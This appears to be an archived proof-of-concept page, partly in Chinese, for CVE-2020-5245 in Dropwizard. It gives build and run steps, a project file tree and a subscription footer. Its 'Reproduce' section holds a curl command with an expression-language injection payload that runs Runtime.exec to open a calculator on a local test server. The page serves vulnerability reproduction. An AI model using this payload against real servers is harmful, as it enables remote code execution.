关联漏洞
介绍
CVE-2020-5245
---
1. Run `mvn clean install` to build your application
1. Start application with `java -jar target/dropwizard-1.0-SNAPSHOT.jar server config.yml`
1. To check that your application is running enter url `http://localhost:8080`
some error in `pom.xml` plugins were not affected reproduce
## Reproduce
`curl http://localhost:8080/bookService/selfValidatingBeanParam?answer=${%27%27.getClass().forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22JavaScript%22).eval(%22java.lang.Runtime.getRuntime().exec(%27/usr/bin/gnome-calculator%27)%22)}`
文件快照
[4.0K] /data/pocs/85d74640cf43aa488787c591925f3c02d99445c6
├── [ 57] config.yml
├── [3.8K] dependency-reduced-pom.xml
├── [ 10K] dropwizard.iml
├── [5.0K] pom.xml
├── [ 604] README.md
├── [4.0K] src
│ └── [4.0K] main
│ ├── [4.0K] java
│ │ └── [4.0K] com
│ │ └── [4.0K] moresec
│ │ ├── [4.0K] control
│ │ │ └── [1.5K] BookController.java
│ │ ├── [4.0K] dao
│ │ │ └── [1.1K] Book.java
│ │ ├── [4.0K] service
│ │ │ ├── [1.8K] BookService.java
│ │ │ └── [ 817] FailingSelfValidation.java
│ │ ├── [ 909] testApplication.java
│ │ └── [ 300] testConfiguration.java
│ └── [4.0K] resources
│ └── [ 200] banner.txt
└── [ 56K] start.png
9 directories, 13 files
备注
1. 建议优先通过来源进行访问。
2. 本地 POC 快照面向订阅用户开放；当原始来源失效或无法访问时，本地镜像作为订阅权益的一部分提供。
3. 持续抓取、验证、维护这份 POC 档案需要不少投入，因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键，由衷感谢。 查看订阅方案 →